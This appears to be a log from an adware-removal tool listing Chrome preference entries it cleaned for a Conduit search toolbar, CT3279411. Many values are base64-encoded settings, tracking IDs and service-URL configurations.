[-] Chrome preferences cleaned: "CT3279411.FF19Solved" - "true"
[-] Chrome preferences cleaned: "CT3279411.FirstTime" - "true"
[-] Chrome preferences cleaned: "CT3279411.FirstTimeFF3" - "true"
[-] Chrome preferences cleaned: "CT3279411.LAST_CLIENT_STATS_SUBMIT_2.enc" - "MTM3MTEzNDMzMg=="
[-] Chrome preferences cleaned: "CT3279411.LOCAL_COOKIE_STATS_LAST_SUBMIT_6.enc" - "MTM3Njc1MzQ1OQ=="
[-] Chrome preferences cleaned: "CT3279411.LOCAL_COOKIE_STATS_STATS_SITE_IRRELEVANT.enc" - "MA=="
[-] Chrome preferences cleaned: "CT3279411.LOCAL_COOKIE_STATS_STATS_SITE_NEW.enc" - "MA=="
[-] Chrome preferences cleaned: "CT3279411.LOCAL_COOKIE_STATS_STATS_SITE_NOT_SUPPORTED.enc" - "MA=="
[-] Chrome preferences cleaned: "CT3279411.LOCAL_COOKIE_STATS_STATS_SITE_SUPPORTED.enc" - "MA=="
[-] Chrome preferences cleaned: "CT3279411.LOCAL_COOKIE_STATS_STATS_USE_HISTORY.enc" - "MA=="
[-] Chrome preferences cleaned: "CT3279411.LOCAL_COOKIE_STATS_STATS_USE_POP.enc" - "MA=="
[-] Chrome preferences cleaned: "CT3279411.LOCAL_COOKIE_STATS_STATS_USE_RELATED.enc" - "MA=="
[-] Chrome preferences cleaned: "CT3279411.LOCAL_COOKIE_STATS_STATS_USE_TYPED.enc" - "MA=="
[-] Chrome preferences cleaned: "CT3279411.LOCAL_COOKIE_THROTTLE_BASEadd_stats 0 LOCAL_COOKIE_STATS_STATS_SITE_IRRELEVANT.enc" - "MTM3NjU4NjMxMw=="
[-] Chrome preferences cleaned: "CT3279411.LOCAL_COOKIE_THROTTLE_BASEadd_stats 0 LOCAL_COOKIE_STATS_STATS_SITE_SUPPORTED.enc" - "MTM3Njc1MzQ1OQ=="
[-] Chrome preferences cleaned: "CT3279411.LOCAL_COOKIE_THROTTLE_BASEadd_stats LOCAL_COOKIE_STATS_STATS_USE_TYPED.enc" - "MTM3MTc1NjMyOA=="
[-] Chrome preferences cleaned: "CT3279411.PG_ENABLE" - "dHJ1ZQ=="
[-] Chrome preferences cleaned: "CT3279411.PG_ENABLE.enc" - "dHJ1ZQ=="
[-] Chrome preferences cleaned: "CT3279411.SEARCH_BOX_CNT.enc" - "MQ=="
[-] Chrome preferences cleaned: "CT3279411.SF_JUST_INSTALLED.enc" - "RkFMU0U="
[-] Chrome preferences cleaned: "CT3279411.SF_STATUS.enc" - "RU5BQkxFRA=="
[-] Chrome preferences cleaned: "CT3279411.SF_USER_ID.enc" - "Y2lkXzEzNjIwMTM5Mzg1MTYzNjA0ODM="
[-] Chrome preferences cleaned: "CT3279411.UserID" - "UN35270856471363120"
[-] Chrome preferences cleaned: "CT3279411.acp_personal.appstate.enc" - "ZW5hYmxl"
[-] Chrome preferences cleaned: "CT3279411.addressBarTakeOverEnabledInHidden" - "true"
[-] Chrome preferences cleaned: "CT3279411.bDay_InstallDate.enc" - "OS04"
[-] Chrome preferences cleaned: "CT3279411.bDay_InstallFromToolbar.enc" - "eWVz"
[-] Chrome preferences cleaned: "CT3279411.browser.search.defaultthis.engineName" - "true"
[-] Chrome preferences cleaned: "CT3279411.cb_experience_000.enc" - "MjQ="
[-] Chrome preferences cleaned: "CT3279411.cb_firstuse0100.enc" - "MQ=="
[-] Chrome preferences cleaned: "CT3279411.cb_user_id_000.enc" - "Q0I5OTUwNzQyODYzMjZfMTM3NDkzNjczMTY2MF9GaXJlZm94"
[-] Chrome preferences cleaned: "CT3279411.cbfirsttime.enc" - "RnJpIEp1bCAyNiAyMDEzIDA5OjQxOjExIEdNVC0wNTAwIChDZW50cmFsIFN0YW5kYXJkIFRpbWUp"
[-] Chrome preferences cleaned: "CT3279411.countryCode" - "US"
[-] Chrome preferences cleaned: "CT3279411.defaultSearch" - "true"
[-] Chrome preferences cleaned: "CT3279411.discover-experiments-photopop.enc" - "eyJuYW1lIjoicGhvdG9wb3AzIiwidmVyc2lvbiI6NX0="
[-] Chrome preferences cleaned: "CT3279411.discover-periodic-reports.enc" - "eyJwaW5nXzAiOlsxMzczNjQ1MTEyMTUwLDE0NDAwMDAwXX0="
[-] Chrome preferences cleaned: "CT3279411.discover-user-id.enc" - "IjFlYWY5ZjU5LTc5M2UtNDE3NS1iZjc1LWFmNzJhYzM4ZDIyZCI="
[-] Chrome preferences cleaned: "CT3279411.enableAlerts" - "true"
[-] Chrome preferences cleaned: "CT3279411.enableFix404ByUser" - "FALSE"
[-] Chrome preferences cleaned: "CT3279411.enableSearchFromAddressBar" - "true"
[-] Chrome preferences cleaned: "CT3279411.enlargeSearchBox" - "{\"enabled\":true,\"maxWidth\":1000,\"minWidth\":250,\"width\":500}"
[-] Chrome preferences cleaned: "CT3279411.firstTimeDialogOpened" - "true"
[-] Chrome preferences cleaned: "CT3279411.fixPageNotFoundError" - "true"
[-] Chrome preferences cleaned: "CT3279411.fixPageNotFoundErrorByUser" - "true"
[-] Chrome preferences cleaned: "CT3279411.fixPageNotFoundErrorInHidden" - "true"
[-] Chrome preferences cleaned: "CT3279411.fixUrls" - true
[-] Chrome preferences cleaned: "CT3279411.fullUserID" - "UN35270856471363120.UP.20130701152404"
[-] Chrome preferences cleaned: "CT3279411.ground-country-code.enc" - "IlVTIg=="
[-] Chrome preferences cleaned: "CT3279411.installDate" - "11/6/2013 11:13:32"
[-] Chrome preferences cleaned: "CT3279411.installId" - "cid3611"
[-] Chrome preferences cleaned: "CT3279411.installSessionId" - "{339C8C49-C3ED-4FD3-8B05-99435C2BA87F}"
[-] Chrome preferences cleaned: "CT3279411.installSp" - "TRUE"
[-] Chrome preferences cleaned: "CT3279411.installUsage" - "2013-06-13T01:38:50.0992372+03:00"
[-] Chrome preferences cleaned: "CT3279411.installUsageEarly" - "2013-06-13T01:38:48.7732372+03:00"
[-] Chrome preferences cleaned: "CT3279411.installerVersion" - "1.4.2.3"
[-] Chrome preferences cleaned: "CT3279411.isCheckedStartAsHidden" - true
[-] Chrome preferences cleaned: "CT3279411.isEnableAllDialogs" - "{\"dataType\":\"string\",\"data\":\"true\"}"
[-] Chrome preferences cleaned: "CT3279411.isFirstTimeToolbarLoading" - "false"
[-] Chrome preferences cleaned: "CT3279411.isToolbarShrinked" - "{\"dataType\":\"string\",\"data\":\"false\"}"
[-] Chrome preferences cleaned: "CT3279411.keyword" - "true"
[-] Chrome preferences cleaned: "CT3279411.lastVersion" - "10.19.2.505"
[-] Chrome preferences cleaned: "CT3279411.mam_gk_appStateReportTime.enc" - "MTM3ODcyMzYwODAyOQ=="
[-] Chrome preferences cleaned: "CT3279411.mam_gk_appState_CouponBuddy.enc" - "b24="
[-] Chrome preferences cleaned: "CT3279411.mam_gk_appState_Discover.enc" - "b2Zm"
[-] Chrome preferences cleaned: "CT3279411.mam_gk_appState_Easytobook.enc" - "b24="
[-] Chrome preferences cleaned: "CT3279411.mam_gk_appState_Easytobook_targeted.enc" - "b24="
[-] Chrome preferences cleaned: "CT3279411.mam_gk_appState_PriceGong.enc" - "b24="
[-] Chrome preferences cleaned:
[-] Chrome preferences cleaned: "CT3279411.mam_gk_appsDefaultEnabled.enc" - "bnVsbA=="
[-] Chrome preferences cleaned: "CT3279411.mam_gk_calledSetupService.enc" - "MQ=="
[-] Chrome preferences cleaned:
[-] Chrome preferences cleaned: "CT3279411.mam_gk_currentBadgeValue.enc" - "MQ=="
[-] Chrome preferences cleaned: "CT3279411.mam_gk_currentVersion.enc" - "MS4xMC40LjA="
[-] Chrome preferences cleaned: "CT3279411.mam_gk_eventsCache.enc" - "eyJkMjI5YjQyMi02MjBiLTQyODgtYjI1ZS1kNjViYTI2YWQwMzUiOnsidG9waWMiOiJzZW5kVXNhZ2UiLCJkYXRhIjp7ImNhdGVnb3J5IjoiV2VsY29tZSIsImFjdGlvbiI6IlZpZXcifSwidW5pcXVlSWQiOiJkMjI5YjQyMi02MjBiLTQyODgtYjI1ZS1kNjViYTI2YWQwMzUiLCJldmVudFRyaWdnZXJUaW1lIjoxMzcxMDc2NzMzNDk1fSwiYjQ2Y2U5M2QtNTUyYy00ODE3LWE5NWUtNTE1ZTlhMjliMmIxIjp7InRvcGljIjoic2VuZFVzYWdlIiwiZGF0YSI6eyJjYXRlZ29yeSI6IldlbGNvbWUiLCJhY3Rpb24iOiJDbG9zZSIsImxhYmVsIjoiIiwidmFsdWUiOjk3MDZ9LCJ1bmlxdWVJZCI6ImI0NmNlOTNkLTU1MmMtNDgxNy1hOTVlLTUxNWU5YTI5YjJiMSIsImV2ZW50VHJpZ2dlclRpbWUiOjEzNzEwNzY3NDMwMTB9LCI5ZDcyNGEyMC0yODJhLTRhZTQtOTY3My1jNGI4NTlkNGI2ODgiOnsidG9waWMiOiJtYW1HYWRnZXRJbnRlcmFjdGVkIiwiZGF0YSI6IiIsInVuaXF1ZUlkIjoiOWQ3MjRhMjAtMjgyYS00YWU0LTk2NzMtYzRiODU5ZDRiNjg4IiwiZXZlbnRUcmlnZ2VyVGltZSI6MTM3MTA3Njc0MzAyMX19"
[-] Chrome preferences cleaned: "CT3279411.mam_gk_existingUsersRecoveryDone.enc" - "MQ=="
[-] Chrome preferences cleaned: "CT3279411.mam_gk_first_time.enc" - "MQ=="
[-] Chrome preferences cleaned: "CT3279411.mam_gk_gadgetOpen.enc" - "MA=="
[-] Chrome preferences cleaned: "CT3279411.mam_gk_installer_preapproved.enc" - "ZmFsc2U="
[-] Chrome preferences cleaned: "CT3279411.mam_gk_lastLoginTime.enc" - "MTM3ODcyMzYwODAwNg=="
[-] Chrome preferences cleaned: "CT3279411.mam_gk_localization.enc" - "eyJnYWRnZXRDb250ZW50UG9saWN5Ijp7IlRleHQiOiJDb250ZW50IFBvbGljeSJ9LCJnYWRnZXREZXNjcmlwdGlvblByaW1hcnkiOnsiVGV4dCI6IlZhbHVlIEFwcHMgZW5yaWNoZXMgeW91ciB3ZWIgZXhwZXJpZW5jZSBieSBvZmZlcmluZyB5b3UgZ3JlYXQgZGVhbHMsIGNvdXBvbnMsIHJlbGF0ZWQgY29udGVudCBhbmQgbXVjaCBtb3JlLiJ9LCJnYWRnZXREZXNjcmlwdGlvblNlY29uZGFyeSI6eyJUZXh0IjoiVmFsdWUgQXBwcyBtYXkgcmVxdWlyZSB1c2Ugb2YgeW91ciBwZXJzb25hbCBpbmZvcm1hdGlvbiwgaW5jbHVkaW5nIHlvdXIgSW50ZXJuZXQgUHJvdG9jb2wgYWRkcmVzcywgdGhlIHdlYnBhZ2VzIHlvdSB2aXNpdCBhbmQgdGhlaXIgY29udGVudC4ifSwiZ2FkZ2V0RW5hYmxlIjp7IlRleHQiOiJUcnkgaXQgbm93In0sImdhZGdldE5vVGhhbmtzIjp7IlRleHQiOiJDdXN0b21pemUifSwiZ2FkZ2V0VGVybXNBbmRQcml2YWN5UG9saWN5Ijp7IlRleHQiOiJUZXJtcyAmIFByaXZhY3kgUG9saWNpZXMifSwiZ2FkZ2V0VGVybXNUZXh0Ijp7IlRleHQiOiJCeSBjbGlja2luZyBcIlRyeSBpdCBub3dcIiwgeW91IGFncmVlIHRvIHRoZSBhY2Nlc3MsIGNvbGxlY3Rpb24gYW5kIHVzYWdlIG9mIHlvdXIgaW5mb3JtYXRpb24gYnkgVmFsdWUgQXBwcyBpbiBhY2NvcmRhbmNlIHdpdGggdGhlIHt7e3Rlcm1zQW5kUHJpdmFjeVBvbGljeUhhbmRsZXJ9fX0uIFNlZSBvdXIge3t7Y29udGVudFBvbGljeUhhbmRsZXJ9fX0gZm9yIG1vcmUgaW5mb3JtYXRpb24uIn0sIm5ld2FwcGxlYXJubW9yZSI6eyJUZXh0IjoiTGVhcm4gbW9yZSJ9LCJuZXdhcHB0ZXh0Ijp7IlRleHQiOiJDb25kdWl0IFZhbHVlIEFwcHMgYnJpbmdzIHlvdSBbQXBwIG5hbWVdIn0sInNldHRpbmdzQ2FuY2VsIjp7IlRleHQiOiJDYW5jZWwifSwic2V0dGluZ3NDb3Vwb25CdWRkeURlc2NyaXB0aW9uIjp7IlRleHQiOiJDb3Vwb24gQnVkZHkgc2F2ZXMgeW91IG1vbmV5IGJ5IHNlcnZpbmcgeW91IHRoZSBiZXN0IGNvdXBvbnMgYW5kIGRlYWxzIGF0IHRob3VzYW5kcyBvZiB0aGUgbGFyZ2VzdCBvbmxpbmUgbWVyY2hhbnRzLiBDb3Vwb24gQnVkZHkgcmVjb2duaXplcyB3aGVyZSB5b3UgYXJlIGJyb3dzaW5nIGFuZCBhbGVydHMgeW91IG9mIHRoZSBiZXN0IGRlYWxzIHJpZ2h0IG9uIHRoZSBzaXRlIHlvdSBhcmUgdmlzaXRpbmcuIn0sInNldHRpbmdzQ291cG9uQnVkZHlOYW1lIjp7IlRleHQiOiJDb3Vwb24gQnVkZHkifSwic2V0dGluZ3NFbmFibGUiOnsiVGV4dCI6IkVuYWJsZSJ9LCJzZXR0aW5nc0VuYWJsZWQiOnsiVGV4dCI6IkVuYWJsZWQifSwic2V0dGluZ3NQcmljZUdvbmdEZXNjcmlwdGlvbiI6eyJUZXh0IjoieW91ciBvbmxpbmUgc2hvcHBpbmcgYXNzaXN0YW50LiBVc2UgUHJpY2VHb25nIHRvIGZpbmQgdGhlIGJlc3Qgb25saW5lIGRlYWxzIGFuZCBnZXQgb25saW5lIGNvdXBvbnMganVzdCB3aGVuIHlvdSBuZWVkIGl0LiJ9LCJzZXR0aW5nc1ByaWNlR29uZ05hbWUiOnsiVGV4dCI6IlByaWNlIEdvbmcifSwic2V0dGluZ3NQcml2YWN5UG9saWN5Ijp7IlRleHQiOiJQcml2YWN5IFBvbGljeSJ9LCJzZXR0aW5nc1NhdmUiOnsiVGV4dCI6IlNhdmUifSwic2V0dGluZ3NUZXJtc09mVXNlIjp7IlRleHQiOiJUZXJtcyBvZiBVc2UifSwibGFzdFVwZGF0ZVRpbWUiOjEzNzg3MjM2MDc3Nzh9"
[-] Chrome preferences cleaned: "CT3279411.mam_gk_newApps.enc" - "W10="
[-] Chrome preferences cleaned: "CT3279411.mam_gk_pgUnloadedOnce.enc" - "dHJ1ZQ=="
[-] Chrome preferences cleaned: "CT3279411.mam_gk_settings1.10.2.5.enc" - "eyJTdGF0dXMiOiJzdWNjZWVkZWQiLCJEYXRhIjp7ImludGVydmFsIjoyNDAsInN0YW1wIjoiMzVfMCIsImlzVGVzdCI6dHJ1ZSwiVXNlckNvdW50cnlDb2RlIjoiVVMiLCJpc1dlbGNvbWVFeHBlcmllbmNlRW5hYmxlZEJ5RGVmYXVsdCI6ZmFsc2UsIkhhZFBHIjpmYWxzZSwibmV3QXBwc0V4cGVyaWVuY2UiOnRydWUsInRyYWNraW5nIjp7ImdhIjp0cnVlLCJkYiI6dHJ1ZX0sInNlcnZpY2VzIjpbeyJuYW1lIjoiY29uZmlndXJhdGlvbiIsInVybCI6Imh0dHA6Ly9jbGllbnRzZXJ2aWNlLm1hbS5jb25kdWl0LXNlcnZpY2VzLmNvbS9jb25maWd1cmF0aW9uP2N0aWQ9Q1QzMjc5NDExJnN0YW1wPTM1XzAmY291bnRyeT1VUyZicm93c2VyPUVCQlJPV1NFUiZicm93c2VydmVyc2lvbj1FQkJST1dTRVJWRVJTSU9OIiwiaW50ZXJ2YWwiOjI0MH0seyJuYW1lIjoiYXBwc0RhdGEiLCJ1cmwiOiJodHRwOi8vY2xpZW50c2VydmljZS5tYW0uY29uZHVpdC1zZXJ2aWNlcy5jb20vYXBwc2RhdGE/Y3RpZD1DVDMyNzk0MTEmc3RhbXA9MzVfMCZjb3VudHJ5PVVTJmJyb3dzZXI9RUJCUk9XU0VSJmJyb3dzZXJ2ZXJzaW9uPUVCQlJPV1NFUlZFUlNJT04mJmxvY2FsPUVCTE9DQUxFIiwiaW50ZXJ2YWwiOjI0MH0seyJuYW1lIjoibG9jYWxpemF0aW9uIiwidXJsIjoiaHR0cDovL2xvY2FsaXphdGlvbnNlcnZpY2UubWFtLmNvbmR1aXQuY29tL2dldHByb2R1Y3R0cmFuc2xhdGlvbj9wPW1hbSZsPUVCTE9DQUxFIiwiaW50ZXJ2YWwiOjE0NDB9LHsibmFtZSI6ImxvZ2luIiwidXJsIjoiaHR0cDovL21hbS1hbGl2ZS1tc2cuY29uZHVpdC1kYXRhLmNvbSIsImludGVydmFsIjoyNDB9LHsibmFtZSI6InVzYWdlIiwidXJsIjoiaHR0cDovL21hbS11c2FnZS5jb25kdWl0LWRhdGEuY29tLyIsImludGVydmFsIjoyNDB9LHsibmFtZSI6InNldHVwQXBpIiwidXJsIjoiaHR0cDovL2Muc2V0dXBhcGkudG9vbGJhci5jb25kdWl0LXNlcnZpY2VzLmNvbS9Qcm9wZXJ0aWVzL2pzb24vQ1QzMjc5NDExL0NDL1VTIiwiaW50ZXJ2YWwiOjI0MH1dfSwibGFzdFVwZGF0ZVRpbWUiOjEzNzc2ODY5NDExNDF9"
[-] Chrome preferences cleaned: "CT3279411.mam_gk_settings1.10.4.0.enc" - "eyJTdGF0dXMiOiJzdWNjZWVkZWQiLCJEYXRhIjp7ImludGVydmFsIjoyNDAsInN0YW1wIjoiMTU3XzAiLCJpc1Rlc3QiOnRydWUsIlVzZXJDb3VudHJ5Q29kZSI6IlVTIiwiaXNXZWxjb21lRXhwZXJpZW5jZUVuYWJsZWRCeURlZmF1bHQiOmZhbHNlLCJIYWRQRyI6ZmFsc2UsIm5ld0FwcHNFeHBlcmllbmNlIjp0cnVlLCJ0cmFja2luZyI6eyJnYSI6dHJ1ZSwiZGIiOnRydWV9LCJzZXJ2aWNlcyI6W3sibmFtZSI6ImNvbmZpZ3VyYXRpb24iLCJ1cmwiOiJodHRwOi8vY2xpZW50c2VydmljZS5tYW0uY29uZHVpdC1zZXJ2aWNlcy5jb20vY29uZmlndXJhdGlvbj9jdGlkPUNUMzI3OTQxMSZzdGFtcD0xNTdfMCZjb3VudHJ5PVVTJmJyb3dzZXI9RUJCUk9XU0VSJmJyb3dzZXJ2ZXJzaW9uPUVCQlJPV1NFUlZFUlNJT04iLCJpbnRlcnZhbCI6MjQwfSx7Im5hbWUiOiJhcHBzRGF0YSIsInVybCI6Imh0dHA6Ly9jbGllbnRzZXJ2aWNlLm1hbS5jb25kdWl0LXNlcnZpY2VzLmNvbS9hcHBzZGF0YT9jdGlkPUNUMzI3OTQxMSZzdGFtcD0xNTdfMCZjb3VudHJ5PVVTJmJyb3dzZXI9RUJCUk9XU0VSJmJyb3dzZXJ2ZXJzaW9uPUVCQlJPV1NFUlZFUlNJT04mJmxvY2FsPUVCTE9DQUxFIiwiaW50ZXJ2YWwiOjI0MH0seyJuYW1lIjoibG9jYWxpemF0aW9uIiwidXJsIjoiaHR0cDovL2xvY2FsaXphdGlvbnNlcnZpY2UubWFtLmNvbmR1aXQuY29tL2dldHByb2R1Y3R0cmFuc2xhdGlvbj9wPW1hbSZsPUVCTE9DQUxFIiwiaW50ZXJ2YWwiOjE0NDB9LHsibmFtZSI6ImxvZ2luIiwidXJsIjoiaHR0cDovL21hbS1hbGl2ZS1tc2cuY29uZHVpdC1kYXRhLmNvbSIsImludGVydmFsIjoyNDB9LHsibmFtZSI6InVzYWdlIiwidXJsIjoiaHR0cDovL21hbS11c2FnZS5jb25kdWl0LWRhdGEuY29tLyIsImludGVydmFsIjoyNDB9LHsibmFtZSI6InNldHVwQXBpIiwidXJsIjoiaHR0cDovL2Muc2V0dXBhcGkudG9vbGJhci5jb25kdWl0LXNlcnZpY2VzLmNvbS9Qcm9wZXJ0aWVzL2pzb24vQ1QzMjc5NDExL0NDL1VTIiwiaW50ZXJ2YWwiOjI0MH1dfSwibGFzdFVwZGF0ZVRpbWUiOjEzNzg3MjM2MDc1NDd9"
[-] Chrome preferences cleaned: "CT3279411.mam_gk_settings1.8.0.4.enc" - "eyJTdGF0dXMiOiJzdWNjZWVkZWQiLCJEYXRhIjp7ImludGVydmFsIjoyNDAsInN0YW1wIjoiMzVfMCIsImlzVGVzdCI6dHJ1ZSwiVXNlckNvdW50cnlDb2RlIjoiVVMiLCJpc1dlbGNvbWVFeHBlcmllbmNlRW5hYmxlZEJ5RGVmYXVsdCI6ZmFsc2UsIkhhZFBHIjpmYWxzZSwibmV3QXBwc0V4cGVyaWVuY2UiOnRydWUsInRyYWNraW5nIjp7ImdhIjp0cnVlLCJkYiI6dHJ1ZX0sInNlcnZpY2VzIjpbeyJuYW1lIjoiY29uZmlndXJhdGlvbiIsInVybCI6Imh0dHA6Ly9jbGllbnRzZXJ2aWNlLm1hbS5jb25kdWl0LXNlcnZpY2VzLmNvbS9jb25maWd1cmF0aW9uP2N0aWQ9Q1QzMjc5NDExJnN0YW1wPTM1XzAmY291bnRyeT1VUyZicm93c2VyPUVCQlJPV1NFUiZicm93c2VydmVyc2lvbj1FQkJST1dTRVJWRVJTSU9OIiwiaW50ZXJ2YWwiOjI0MH0seyJuYW1lIjoiYXBwc0RhdGEiLCJ1cmwiOiJodHRwOi8vY2xpZW50c2VydmljZS5tYW0uY29uZHVpdC1zZXJ2aWNlcy5jb20vYXBwc2RhdGE/Y3RpZD1DVDMyNzk0MTEmc3RhbXA9MzVfMCZjb3VudHJ5PVVTJmJyb3dzZXI9RUJCUk9XU0VSJmJyb3dzZXJ2ZXJzaW9uPUVCQlJPV1NFUlZFUlNJT04mJmxvY2FsPUVCTE9DQUxFIiwiaW50ZXJ2YWwiOjI0MH0seyJuYW1lIjoibG9jYWxpemF0aW9uIiwidXJsIjoiaHR0cDovL2xvY2FsaXphdGlvbnNlcnZpY2UubWFtLmNvbmR1aXQuY29tL2dldHByb2R1Y3R0cmFuc2xhdGlvbj9wPW1hbSZsPUVCTE9DQUxFIiwiaW50ZXJ2YWwiOjE0NDB9LHsibmFtZSI6ImxvZ2luIiwidXJsIjoiaHR0cDovL21hbS1hbGl2ZS1tc2cuY29uZHVpdC1kYXRhLmNvbSIsImludGVydmFsIjoyNDB9LHsibmFtZSI6InVzYWdlIiwidXJsIjoiaHR0cDovL21hbS11c2FnZS5jb25kdWl0LWRhdGEuY29tLyIsImludGVydmFsIjoyNDB9XX0sImxhc3RVcGRhdGVUaW1lIjoxMzczNjUzMTEwOTAxfQ=="
[-] Chrome preferences cleaned: "CT3279411.mam_gk_settings1.9.0.4.enc" - "eyJTdGF0dXMiOiJzdWNjZWVkZWQiLCJEYXRhIjp7ImludGVydmFsIjoyNDAsInN0YW1wIjoiNTRfMCIsImlzVGVzdCI6dHJ1ZSwiVXNlckNvdW50cnlDb2RlIjoiVVMiLCJpc1dlbGNvbWVFeHBlcmllbmNlRW5hYmxlZEJ5RGVmYXVsdCI6ZmFsc2UsIkhhZFBHIjpmYWxzZSwibmV3QXBwc0V4cGVyaWVuY2UiOnRydWUsInRyYWNraW5nIjp7ImdhIjp0cnVlLCJkYiI6dHJ1ZX0sInNlcnZpY2VzIjpbeyJuYW1lIjoiY29uZmlndXJhdGlvbiIsInVybCI6Imh0dHA6Ly9jbGllbnRzZXJ2aWNlLm1hbS5jb25kdWl0LXNlcnZpY2VzLmNvbS9jb25maWd1cmF0aW9uP2N0aWQ9Q1QzMjc5NDExJnN0YW1wPTU0XzAmY291bnRyeT1VUyZicm93c2VyPUVCQlJPV1NFUiZicm93c2VydmVyc2lvbj1FQkJST1dTRVJWRVJTSU9OIiwiaW50ZXJ2YWwiOjI0MH0seyJuYW1lIjoiYXBwc0RhdGEiLCJ1cmwiOiJodHRwOi8vY2xpZW50c2VydmljZS5tYW0uY29uZHVpdC1zZXJ2aWNlcy5jb20vYXBwc2RhdGE/Y3RpZD1DVDMyNzk0MTEmc3RhbXA9NTRfMCZjb3VudHJ5PVVTJmJyb3dzZXI9RUJCUk9XU0VSJmJyb3dzZXJ2ZXJzaW9uPUVCQlJPV1NFUlZFUlNJT04mJmxvY2FsPUVCTE9DQUxFIiwiaW50ZXJ2YWwiOjI0MH0seyJuYW1lIjoibG9jYWxpemF0aW9uIiwidXJsIjoiaHR0cDovL2xvY2FsaXphdGlvbnNlcnZpY2UubWFtLmNvbmR1aXQuY29tL2dldHByb2R1Y3R0cmFuc2xhdGlvbj9wPW1hbSZsPUVCTE9DQUxFIiwiaW50ZXJ2YWwiOjE0NDB9LHsibmFtZSI6ImxvZ2luIiwidXJsIjoiaHR0cDovL21hbS1hbGl2ZS1tc2cuY29uZHVpdC1kYXRhLmNvbSIsImludGVydmFsIjoyNDB9LHsibmFtZSI6InVzYWdlIiwidXJsIjoiaHR0cDovL21hbS11c2FnZS5jb25kdWl0LWRhdGEuY29tLyIsImludGVydmFsIjoyNDB9LHsibmFtZSI6InNldHVwQXBpIiwidXJsIjoiaHR0cDovL2Muc2V0dXBhcGkudG9vbGJhci5jb25kdWl0LXNlcnZpY2VzLmNvbS9Qcm9wZXJ0aWVzL2pzb24vQ1QzMjc5NDExL0NDL1VTIiwiaW50ZXJ2YWwiOjI0MH1dfSwibGFzdFVwZGF0ZVRpbWUiOjEzNzYwNjI0MzMwMzR9"
[-] Chrome preferences cleaned: "CT3279411.mam_gk_showCloseButton.enc" - "dHJ1ZQ=="
[-] Chrome preferences cleaned: "CT3279411.mam_gk_showWelcomeGadget.enc" - "ZmFsc2U="
[-] Chrome preferences cleaned: "CT3279411.mam_gk_userId.enc" - "MDMwMGM1YWYtZTAxMi00YzcwLWIyZTgtYzZjY2NiNmU2NTQ3"
[-] Chrome preferences cleaned: "CT3279411.mam_gk_user_approval_interacted.enc" - "MQ=="
[-] Chrome preferences cleaned: "CT3279411.mam_gk_welcomeDialogMode.enc" - "MQ=="
[-] Chrome preferences cleaned: "CT3279411.migrateAppsAndComponents" - true
[-] Chrome preferences cleaned: "CT3279411.navigationAliasesJson" - "{\"EB_MAIN_FRAME_URL\":\"hxxps%3A%2F%2Fminneapolis.ims.mnscu.edu%2Fd2l%2Fhome\",\"EB_MAIN_FRAME_TITLE\":\"Homepage%20-%20Minneapolis%20Community%20and%20Technical%20College\",\"EB_SEARCH_TERM\":\"\",\"EB_TOOLBAR_SUB_DOMAIN\":\"hxxp://appbario12.Toolbar.fm/\",\"EB_TOOLBAR_ID\":\"CT3279411\",\"EB_TOOLBAR_VERSION\":\"10.19.2.505\",\"EB_ORIGINAL_CTID\":\"CT3279411\",\"EB_DOWNLOAD_PAGE\":\"hxxp://appbario12.Toolbar.fm/\",\"EB_TOOLBAR_NAME\":\"appbario12 \"}"
[-] Chrome preferences cleaned: "CT3279411.openThankYouPage" - "false"
[-] Chrome preferences cleaned: "CT3279411.openUninstallPage" - "true"
[-] Chrome preferences cleaned: "CT3279411.price-gong.isManagedApp" - "true"
[-] Chrome preferences cleaned: "CT3279411.revertSettingsEnabled" - "false"
[-] Chrome preferences cleaned: "CT3279411.sac-country-code.enc" - "IlVTIg=="
[-] Chrome preferences cleaned: "CT3279411.sac-experiments-aaTest.enc" - "eyJuYW1lIjoiYTIiLCJ2ZXJzaW9uIjoxfQ=="
[-] Chrome preferences cleaned: "CT3279411.sac-experiments-placement.enc" - "eyJuYW1lIjoid3JlY2std2lkZSIsInZlcnNpb24iOjEzfQ=="
[-] Chrome preferences cleaned: "CT3279411.sac-periodic-reports.enc" - "eyJwaW5nXzAiOlsxMzcxMTM5MzkzMzQ5LDE0NDAwMDAwXX0="
[-] Chrome preferences cleaned: "CT3279411.sac-user-id.enc" - "IjE2N2NkOWNhLWRjNGMtNDEzNC04MGVhLTBjMWExOWYwMjNjNCI="
[-] Chrome preferences cleaned: "CT3279411.sac-yt-first-ping.enc" - "MTM3MTA3Njc0MzU4MA=="
[-] Chrome preferences cleaned: "CT3279411.search.searchAppId" - "130028909967386036"
[-] Chrome preferences cleaned: "CT3279411.search.searchCount" - "2"
[-] Chrome preferences cleaned: "CT3279411.searchFromAddressBarEnabledByUser" - "true"
[-] Chrome preferences cleaned: "CT3279411.searchInNewTabEnabledByUser" - "true"
[-] Chrome preferences cleaned: "CT3279411.searchInNewTabEnabledInHidden" - "true"
[-] Chrome preferences cleaned: "CT3279411.searchRevert" - "false"
[-] Chrome preferences cleaned: "CT3279411.searchSuggestEnabledByUser" - "false"
[-] Chrome preferences cleaned: "CT3279411.searchUserMode" - "2"
[-] Chrome preferences cleaned: "CT3279411.selectToSearchBoxEnabled" - "{\"dataType\":\"string\",\"data\":\"true\"}"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_service_login_isFirstLoginInvoked" - "{\"dataType\":\"boolean\",\"data\":\"true\"}"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_service_login_loginCount" - "{\"dataType\":\"number\",\"data\":\"4\"}"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_service_toolbarGrouping_activeCTID" - "{\"dataType\":\"string\",\"data\":\"CT3279411\"}"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_service_toolbarGrouping_activeDownloadUrl" - "{\"dataType\":\"string\",\"data\":\"hxxp://appbario12.Toolbar.fm//xpi\"}"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_service_toolbarGrouping_activeToolbarName" - "{\"dataType\":\"string\",\"data\":\"appbario12 \"}"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_service_toolbarGrouping_invoked" - "{\"dataType\":\"string\",\"data\":\"true\"}"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_service_usage_toolbarUsageCount" - "{\"dataType\":\"number\",\"data\":\"2\"}"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_Configuration_lastUpdate" - "1377687059094"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_appTrackingFirstTime_lastUpdate" - "1377194301480"
[-] Chrome preferences cleaned: "CT3279411.serviceLayer_services_appTracking_lastUpdate" - "1377194301485"
